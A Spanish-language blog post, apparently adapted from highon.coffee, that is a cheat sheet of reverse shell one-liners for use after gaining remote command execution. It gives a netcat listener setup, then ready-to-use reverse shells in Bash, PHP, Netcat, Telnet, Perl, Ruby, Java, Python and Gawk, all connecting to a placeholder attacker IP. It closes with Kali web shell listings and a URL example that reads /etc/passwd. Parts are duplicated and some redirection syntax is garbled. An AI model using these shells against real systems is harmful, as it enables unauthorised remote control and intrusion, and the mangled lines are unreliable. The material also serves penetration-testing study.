Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).
Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.
Shell inverso en Bash
Shell inverso en PHP
Shell inverso con Netcat
Shell inverso con Telnet
Shell inverso en Perl
Shell inverso en Perl bajo Windows
Shell inverso en Ruby
Shell inverso en Java
Shell inverso en Python
Shell inverso con Gawk
Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.
* Estos dos últimos realmente no son shells inversos, pero pueden ser útilies para ejecutarlos.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).
Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
Shell inverso en Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
Shell inverso en PHP
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Asume que TCP el descriptor 3. Si no funciona, prueba 4,5 o 6)
Shell inverso con Netcat
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
Shell inverso con Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
Shell inverso en Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Shell inverso en Perl bajo Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Shell inverso en Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Shell inverso en Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Shell inverso en Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Shell inverso con Gawk
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.
Kali PHP Web Shells
Comando | Descripción |
---|---|
./php/php-reverse-shell.php |
Pen Test Monkey - Shell inverso PHP |
findsock.c |
Pen Test Monkey, Findsock Shell. Compila gcc -o findsock findsock.c (ten en cuenta la arquitectura del servidor objetivo), ejecuta con netcat no con un navegador nc -v target 80 |
|
Backdoor PHP, útil para la ejecución de comandos si puedes subir/ inyectar comandos, uso: http://target.com/simple- |
|
Shell PHP más grande, con un cuadro de entrada de texto para la ejecución de comandos. |
Kali Perl Reverse Shell
Comando | Descripción |
---|---|
./perl/perl-reverse-shell.pl |
Pen Test Monkey - Perl Reverse Shell |
./perl/perlcmd.cgi |
Pen Test Monkey, Perl Shell. Uso: http://target.com/perlcmd.cgi?cat /etc/passwd |
Kali Cold Fusion Shell
Comando | Descripción |
---|---|
./cfm/cfexec.cfm |
Cold Fusion Shell - aka CFM Shell |
Kali ASP Shell
Comando | Descripción |
---|---|
./asp/ |
Kali ASP Shells |
Kali ASPX Shells
Comando | Descripción |
---|---|
./aspx/ |
Kali ASPX Shells |
Kali JSP Reverse Shell
Comando | Descripción |
---|---|
./jsp/jsp-reverse.jsp | Kali JSP Reverse Shell |
Comentarios
Publicar un comentario